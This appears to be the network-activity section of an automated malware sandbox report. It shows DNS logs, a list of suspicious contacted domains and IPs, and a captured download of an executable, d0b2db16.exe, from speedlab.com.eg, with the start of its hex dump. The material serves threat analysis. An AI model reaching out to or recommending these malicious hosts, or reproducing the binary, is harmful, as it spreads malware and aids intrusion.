May 28, 2023 10:43:38.797343016 CEST	8.8.8.8	192.168.2.3	0xa202	No error (0)	shsplatform.co.uk		80.66.203.53	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.436762094 CEST	8.8.8.8	192.168.2.3	0xa76c	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.787662029 CEST	8.8.8.8	192.168.2.3	0xcb14	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.306963921 CEST	8.8.8.8	192.168.2.3	0xed1c	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.700331926 CEST	8.8.8.8	192.168.2.3	0xd5a1	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.234476089 CEST	8.8.8.8	192.168.2.3	0xba0a	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.761905909 CEST	8.8.8.8	192.168.2.3	0x8d9d	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.985579014 CEST	8.8.8.8	192.168.2.3	0xef30	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:47.364337921 CEST	8.8.8.8	192.168.2.3	0xb441	No error (0)	adsmanager.facebook.com	star.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:47.364337921 CEST	8.8.8.8	192.168.2.3	0xb441	No error (0)	star.facebook.com	star.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:47.364337921 CEST	8.8.8.8	192.168.2.3	0xb441	No error (0)	star.c10r.facebook.com		157.240.17.17	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:47.384660006 CEST	8.8.8.8	192.168.2.3	0x6476	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:47.877331018 CEST	8.8.8.8	192.168.2.3	0xaa8d	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:47.877331018 CEST	8.8.8.8	192.168.2.3	0xaa8d	No error (0)	star-mini.c10r.facebook.com		157.240.9.35	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.646327019 CEST	8.8.8.8	192.168.2.3	0xfe12	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.074316025 CEST	8.8.8.8	192.168.2.3	0x6bb1	No error (0)	ss.apjeoighw.com		154.221.31.191	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.150230885 CEST	8.8.8.8	192.168.2.3	0x2973	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.665191889 CEST	8.8.8.8	192.168.2.3	0x2561	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:52.439465046 CEST	8.8.8.8	192.168.2.3	0xcfb6	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:57.183255911 CEST	8.8.8.8	192.168.2.3	0xb748	No error (0)	adsmanager.facebook.com	star.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:57.183255911 CEST	8.8.8.8	192.168.2.3	0xb748	No error (0)	star.facebook.com	star.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:57.183255911 CEST	8.8.8.8	192.168.2.3	0xb748	No error (0)	star.c10r.facebook.com		157.240.17.17	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:57.786288977 CEST	8.8.8.8	192.168.2.3	0x9b9b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:57.786288977 CEST	8.8.8.8	192.168.2.3	0x9b9b	No error (0)	star-mini.c10r.facebook.com		157.240.234.35	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:59.847691059 CEST	8.8.8.8	192.168.2.3	0xdec8	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:44:04.979201078 CEST	8.8.8.8	192.168.2.3	0x92cb	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

speedlab.com.eg

api.2ip.ua

t.me

adsmanager.facebook.com

www.facebook.com

shsplatform.co.uk

xlqkimn.org

potunulit.org

mxltwpsqeo.net

colisumy.com

csusaymthn.com

iviost.org

wkqar.net

dudvlk.com

45.9.74.80

zexeq.com

qqiuoruppq.com

ybcrbcpvym.com

jp.imgjeoighw.com

negwl.net

sfmvlnbt.com

mbwheantep.net

ajoab.net

wjhcfonfk.org

ipame.net

bxpeemr.org

kxvorcn.com

pppdb.org

shwsp.org

188.34.154.187:30303

vyuaut.com

waofgmma.org

gtnvc.net

lfcxfryvi.com

tcovw.org

dpvseurycv.org

oqqtqnj.org

ykcanuky.org

wuwnf.net

yyabnclq.com

dyrfgkau.org

uytll.net

cxhhlcn.com

laydyxa.com

oluqgvm.org

lugojs.net

aomtmlmpuh.org

cfjtxu.com

sbcht.com

toobussy.com

akimoe.net

dlaxujokn.org

ss.apjeoighw.com

dmcdswi.net

fgfsyqph.org

xmewqwgqx.org

dsoav.org

ollfl.org

ylfleydl.org

etftmd.org

194.180.48.90

fglqosxf.org

qlcjnrapy.net

fatvkcvmxq.net

vacsrkw.com

cdgmadwmn.net

vplsfigg.com

doqsqrp.net

nypsigtije.net

wjgjontf.org

atqoikuxkw.net

octqh.com

xgeaptg.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49701	217.174.148.28	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:38 UTC	0	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: speedlab.com.eg
2023-05-28 08:42:38 UTC	0	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 08:51:50 GMT Server: Apache X-Powered-By: PHP/5.6.40 Content-Description: File Transfer Content-Disposition: attachment; filename=d0b2db16.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-05-28 08:42:38 UTC	0	IN	Data Raw: 33 64 38 31 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 cd 0e 63 00 00 00 00 00 Data Ascii: 3d81MZ@!L!This program cannot be run in DOS mode.$&bbb\|\|\|HEXkb\|c\|c\|cRichbPELGc
2023-05-28 08:42:38 UTC	8	IN	Data Raw: a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
2023-05-28 08:42:38 UTC	15	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:38 UTC	15	IN	Data Raw: 31 66 34 30 0d 0a 5f 5e 33 cd 5b e8 b0 09 00 00 c9 c3 6a 0c 68 08 7d 42 00 e8 6b 2a 00 00 33 c0 8b 7d 0c 33 f6 3b fe 0f 95 c0 3b c6 75 1f e8 a6 1b 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 2e 1b 00 00 83 c4 14 b8 ff ff 00 00 eb 2e 89 7d 0c 57 e8 53 29 00 00 59 89 75 fc 57 ff 75 08 e8 28 fe ff ff 59 59 0f b7 c0 89 45 e4 c7 45 fc fe ff ff ff e8 0a 00 00 00 66 8b 45 e4 e8 4e 2a 00 00 c3 ff 75 0c e8 93 29 00 00 59 c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 cc 2b 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 21 1b 00 00 85 c0 74 0a e8 18 1b 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 e2 2e 00 00 83 c4 0c 5d c3 8b ff 55 8b ec ff 75 0c 6a 0a 6a 00 ff 75 08 e8 f4 2e 00 00 83 c4 10 5d c3 8b ff 55 8b ec Data Ascii: 1f40_^3[jh}Bk3}3;;uVVVVV..}WS)YuWu(YYEEfENu)YUQeVEPuu+u9Et!tM^Ujju.]Uujju.]U
2023-05-28 08:42:38 UTC	23	IN	Data Raw: 00 00 8b 45 e4 e8 cc 0a 00 00 c3 6a 04 e8 1a 35 00 00 59 c3 8b ff 55 8b ec 56 8b 75 08 83 fe e0 0f 87 a1 00 00 00 53 57 8b 3d 00 11 40 00 83 3d fc b0 42 00 00 75 18 e8 11 20 00 00 6a 1e e8 5f 1e 00 00 68 ff 00 00 00 e8 a1 1b 00 00 59 59 a1 e4 d6 66 00 83 f8 01 75 0e 85 f6 74 04 8b c6 eb 03 33 c0 40 50 eb 1c 83 f8 03 75 0b 56 e8 53 ff ff ff 59 85 c0 75 16 85 f6 75 01 46 83 c6 0f 83 e6 f0 56 6a 00 ff 35 fc b0 42 00 ff d7 8b d8 85 db 75 2e 6a 0c 5e 39 05 8c b5 42 00 74 15 ff 75 08 e8 4c 1a 00 00 59 85 c0 74 0f 8b 75 08 e9 7b ff ff ff e8 29 fb ff ff 89 30 e8 22 fb ff ff 89 30 5f 8b c3 5b eb 14 56 e8 25 1a 00 00 59 e8 0e fb ff ff c7 00 0c 00 00 00 33 c0 5e 5d c3 6a 0c 68 b0 7e 42 00 e8 a7 09 00 00 8b 75 08 85 f6 74 75 83 3d e4 d6 66 00 03 75 43 6a 04 e8 05 35 Data Ascii: Ej5YUVuSW=@=Bu j_hYYfut3@PuVSYuuFVj5Bu.j^9BtuLYtu{)0"0_[V%Y3^]jh~Butu=fuCj5
2023-05-28 08:42:38 UTC	31	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:38 UTC	31	IN	Data Raw: 31 66 34 30 0d 0a 68 93 87 40 00 e8 64 08 00 00 83 c4 24 a3 90 95 42 00 5e c3 8b ff 55 8b ec 51 51 53 8b 5d 08 56 57 33 f6 33 ff 89 7d fc 3b 1c fd 98 95 42 00 74 09 47 89 7d fc 83 ff 17 72 ee 83 ff 17 0f 83 77 01 00 00 6a 03 e8 f7 50 00 00 59 83 f8 01 0f 84 34 01 00 00 6a 03 e8 e6 50 00 00 59 85 c0 75 0d 83 3d 40 90 42 00 01 0f 84 1b 01 00 00 81 fb fc 00 00 00 0f 84 41 01 00 00 68 e8 19 40 00 bb 14 03 00 00 53 bf c8 ac 42 00 57 e8 40 e0 ff ff 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 23 db ff ff 83 c4 14 68 04 01 00 00 be e1 ac 42 00 56 6a 00 c6 05 e5 ad 42 00 00 ff 15 98 10 40 00 85 c0 75 26 68 d0 19 40 00 68 fb 02 00 00 56 e8 fe df ff ff 83 c4 0c 85 c0 74 0f 33 c0 50 50 50 50 50 e8 df da ff ff 83 c4 14 56 e8 82 c5 ff ff 40 59 83 f8 3c 76 38 56 e8 75 c5 ff Data Ascii: 1f40h@d$B^UQQS]VW33};BtG}rwjPY4jPYu=@BAh@SBW@tVVVVV#hBVjB@u&h@hVt3PPPPPV@Y<v8Vu
2023-05-28 08:42:38 UTC	39	IN	Data Raw: 3b d8 75 7f 8b 1d cc d6 66 00 eb 11 8b 53 04 8b 3b 23 55 f8 23 fe 0b d7 75 0a 83 c3 14 89 5d 08 3b d9 72 e8 3b d9 75 5b eb 0c 83 7b 08 00 75 0a 83 c3 14 89 5d 08 3b d8 72 f0 3b d8 75 31 8b 1d cc d6 66 00 eb 09 83 7b 08 00 75 0a 83 c3 14 89 5d 08 3b d9 72 f0 3b d9 75 15 e8 a0 fa ff ff 8b d8 89 5d 08 85 db 75 07 33 c0 e9 09 02 00 00 53 e8 3a fb ff ff 59 8b 4b 10 89 01 8b 43 10 83 38 ff 74 e5 89 1d d4 d6 66 00 8b 43 10 8b 10 89 55 fc 83 fa ff 74 14 8b 8c 90 c4 00 00 00 8b 7c 90 44 23 4d f8 23 fe 0b cf 75 29 83 65 fc 00 8b 90 c4 00 00 00 8d 48 44 8b 39 23 55 f8 23 fe 0b d7 75 0e ff 45 fc 8b 91 84 00 00 00 83 c1 04 eb e7 8b 55 fc 8b ca 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 Data Ascii: ;ufS;#U#u];r;u[{u];r;u1f{u];r;u]u3S:YKC8tfCUt\|D#M#u)eHD9#U#uEUiDMLD3#u#Mj _
2023-05-28 08:42:38 UTC	47	IN	Data Raw: 0d 0a Data Ascii:
